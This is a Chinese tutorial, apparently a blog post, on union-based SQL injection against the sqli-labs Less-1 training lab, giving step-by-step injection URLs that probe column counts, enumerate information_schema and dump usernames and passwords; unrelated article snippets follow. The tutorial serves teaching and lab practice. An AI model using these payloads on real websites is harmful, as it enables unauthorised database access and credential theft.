在学习之前,我们要知道,什么是 SQL 注入?

一句话来说,攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。

SQL注入漏洞的危害是很大的,常常会导致整个数据库信息泄露,SQL注入也是最常见的Web漏洞之一。

联合查询注入的基本思路

1.判断是否存在注入点,是字符型注入还是数字型注入

2.order by 猜解 SQL 查询语句中的字段数

3.union select 确认显示字段的顺序(哪一个字段回显内容)

4.获取当前数据库

5.获取数据库中的表名

6.获取数据表中的列名(字段名)

7.获取字段的数据(获取到数据库信息,下载内容)

1.判断注入是否存在注入点,是字符型,还是数字型。

使用http://localhost/sqli-labs-master/Less-1/?id=1和http://localhost/sqli-labs-master/Less-1/?id=1a来进行判断

因为数字型注入的话,如果是1a的话会报错,字符型的话1a是正常解析的。



可以看出是一个字符型注入,字符型注入需要我们手动进行闭合,已达到破坏 sql 语句的效果

判断是否存在注入点,使用'和"引号尝试进行闭合破坏 SQl 语句



在输入1'闭合后,提示语法错误,存在注入点

注意:这里的 %27 是 url编码,chrome 浏览器会自动对 url 进行编码, %27 解码后就是单引号

常见的 URL 编码有:%20 空格 %3F 问号 %27 单引号 %28 %39 左右括号 %22 双引号

2.猜解 SQL 查询语句中的字段数

由于是联合查询注入,union select 联合查询语句的条件是需要和第一个 select 查询语句的字段数相同

所以需要猜解第一个查询语句中字段的数量,使用 order by

order by 会根据指定的列进行排序,若没有这个列,语句执行报错显示没有这个字段,所以我们可以通过报错来判断拥有几个列



可以看出我们一共查询了两个字段的内容,order by 值为 3 的时候,语句报错了,同理

测试:http://localhost/sqli-labs-master/Less-1/index.php?id=1' order by 1 --+

注意:--+ 经过转移为了 -- ,在 SQL 语句中 -- 是注释的意思。

常用的注释也有 # 号 --+ --



正常

测试:http://localhost/sqli-labs-master/Less-1/index.php?id=1' order by 2 --+



正常

测试:http://localhost/sqli-labs-master/Less-1/index.php?id=1' order by 3 --+



正常

测试:http://localhost/sqli-labs-master/Less-1/index.php?id=1' order by 4 --+



报错,所以,第一个语句使用了三个列(三个字段),在测试中可是直接输入100来判断语句是否错误,然后慢慢缩小猜解

3.确认字段显示顺序,看一看那个字段可以回显我们查询的值

使用 union select 联合查询进行测试

测试:http://localhost/sqli-labs-master/Less-1/index.php?id=1' union select 1,2,3 --+



并没有任何回显,是因为第一个查询语句把所有站位都使用了,所以我们需要把第一个查询语句查询失败

可以使用 and 1=2 或者 id = -1 来进行查询错误

测试:http://localhost/sqli-labs-master/Less-1/index.php?id=1' and 1=2 union select 1,2,3 --+和http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,3 --+



这两句回显的结果都是一样的,发现 2 和 3 可以返回查询结果

4.获取当前数据库和当前用户(现在我们就可以执行 select 查询语句了)

测试:http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,user(),database() --+



获取到当前数据库名为 security ,用户为 root@localhost。也可以查询数据库版本,数据库存储路径等

version(),@@datadir

测试:http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,version(),@@datadir --+



获取到当前数据库版本为 5.7.26,路径为 C:\phpstudy_pro\Extensions\MySQL5.7.26\data\

5.使用 information_schema 数据库下的 tables 表来查询 security 数据库中的表

mysql 中默认有 information_schema 数据库,记录的有所有数据库的所有信息,其中 tables 记录着所有数据库的表名

测试:http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' --+



使用 table_schema 列来进行筛选 security 数据库的表名

查询成功,但是只返回了一个表名,这里可以使用到 MySQL 中的一个函数 group_concat()



可以看出,group_concat()函数会将所有的查询结果返回到一行一列中,其中每行之间使用 , 号隔开

使用 group_concat() 函数进行测试:http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+



可以发现,在 security 数据库下有 emails,referers,uagents,users 这几个表,一看就知道用户名密码在 users 表下

6.使用 information_schema 数据库下的 columns 表来查询 security 数据库下的 users 表的字段名

columns 表记录着所有表的字段名

测试:http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+



可以看到有 id,username,password 这三个字段

7.获取字段内容

我们当前在 security 数据库下,可以直接查询 users 表 字段的内容。

测试:http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,group_concat(username,'~',password),3 from users--+



成功获取数据库用户名和密码。

由于 group_concat 列之间没有间隔,我们在 username 和 password 的之间添加了一个 ~ 作为占位符

Less1-union select 联合查询注入的更多相关文章

  1. 记一次SQL联合查询注入工具的编写

    这是一个ASP网站的简单SQL注入检测和利用的工具,主要的功能是简单的检测出SQL注入漏洞,可以使用该id存在的SQL注入来获取数据库中的网站管理员的表名和字段名,猜解数据库中该表的字段数,最后通过联 ...

  2. MySQL手注之联合查询注入

    了解联合查询注入之前,先要了解一下什么是union? union是用于合并两个sql查询结果的语句. 要使用union 必须有相同的列数  必须有两条以上的select语句组成  列的数据类型必须兼容 ...

  3. base64变形注入与联合查询注入的爱情故事

    先来写一下GET的知识点: 1.知道了convart函数(CONVERT函数是把日期转换为新数据类型的通用函数) 2.Illegal mix of collations for operation ' ...

  4. SqlSever基础 union all 联合查询,简单的组合 两个查询结果拼在一起

    镇场诗:---大梦谁觉,水月中建博客.百千磨难,才知世事无常.---今持佛语,技术无量愿学.愿尽所学,铸一良心博客.------------------------------------------ ...

  5. union select

    union select 联合查询 ,即合并(取交集,结果中没有重复行)前后两个查询:前提是前后查询视图必须拥有相同数量的列,列也必需拥有相同的数据类型. union all select 则取的是两 ...

  6. Less-(1~4) union select

    Less-1: 核心语句: 无任何防护:回显查询结果或错误内容. 输入单引号闭合语句中的单引号,#注释后面的内容,即可注入.由于有查询结果回显,直接联合注入即可. 1'order by x #(有些环 ...

  7. Stacked injection--堆叠注入--堆查询注入

    Stacked injection--堆叠注入--堆查询注入 原文地址;http://www.sqlinjection.net/stacked-queries/   本篇属于集合原作者的思路和个人想法 ...

  8. SQL注入之堆叠注入(堆查询注入)

    Stached injection -- 堆叠注入 0x00 堆叠注入的定义 ​ Stacked injection 汉语翻译过来后,称 为堆查询注入,也有称之为堆叠注入.堆叠注入为攻击者提供了很多的 ...

  9. MySQL连接查询、联合查询、子查询

    参考地址:http://blog.csdn.net/u011277123/article/details/54863371 1.MySQL连接查询 连接查询:将多张表(>=2)进行记录的连接(按 ...

  10. MySQL的查询,子查询,联结查询,联合查询

    MySQL的查询,子查询,联结查询,联合查询 一.mysql查询的五种子句where(条件查询).having(筛选).group by(分组).order by(排序).limit(限制结果数) 二 ...

随机推荐

  1. IIS10.0 Web平台安装程序无法安装URL重写工具

    Windows10系统的IIS10.0需要安装URL rewrite重写模块2.0,提示"很遗憾,无法安装下列产品",解决方法: win键+R键,运行regedit,打开注册表编辑 ...

  2. Django基础篇 03- Models的属性与字段

    1.models字段类型 AutoField():一个IntegerField,根据可用ID自动递增.如果没指定主键,就创建它自动设置为主键. IntegerField():一个整数: FloatFi ...

  3. js处理树形数组扁平化

        // 树形数组扁平化 const extractTree = (data: TagsParams[]) => { if (!data.length) return []; const l ...

  4. elementUI el-input 调整数据但是前端界面不刷新

    在表格行中提供一个输入框,允许用户输入,并且可以进行简单的四则计算,计算在onblur或者回车触发. <el-input v-model="scope.row[scope.column ...

  5. #Python #OpenCV 使用Python为你的圣诞节增添更多乐趣

    ​  目录 1.前言 2.目标与效果展示 3.下载OpenCV图形识别库 4.下载python支持的v2模块 5.图片素材 6.代码 1.前言 ​ 编辑 Merry Christmas!今天是2022 ...

  6. datetime 获取当前时间的各种格式(转)

    我们可以通过使用DataTime这个类来获取当前的时间.通过调用类中的各种方法我们可以获取不同的时间:如:日期(2008-09-04).时间(12:12:12).日期+时间(2008-09-04 12 ...

  7. JS实现中英文混合文字友好截取功能

    众所周知,一个汉字等于两个英文字母的长度.那么,从汉字或者英文字母中截取相同长度文字则显示的长度则不一样.此时用户体验会不好.那么怎么解决呢?往下看 <script> /** * JS实现 ...

  8. jsp第4个作业(2)

    <%@ page language="java" import="java.util.*" pageEncoding="utf-8"% ...

  9. SQL语句底层执行顺序

    1. SELECT 语句的完整结构 SQL92语法: SELECT ...,....,(存在聚合函数) FROM ...,...,... WHERE 多表的连接条件 AND 不包含聚合函数的过滤条件 ...

  10. js字符串常用的方法

    1.  charAt( ) 获取指定下标处的字符 let str = 'hello' console.log(str.charAt(0));//h 2.  charCodeAt 获取下标出的字符的Un ...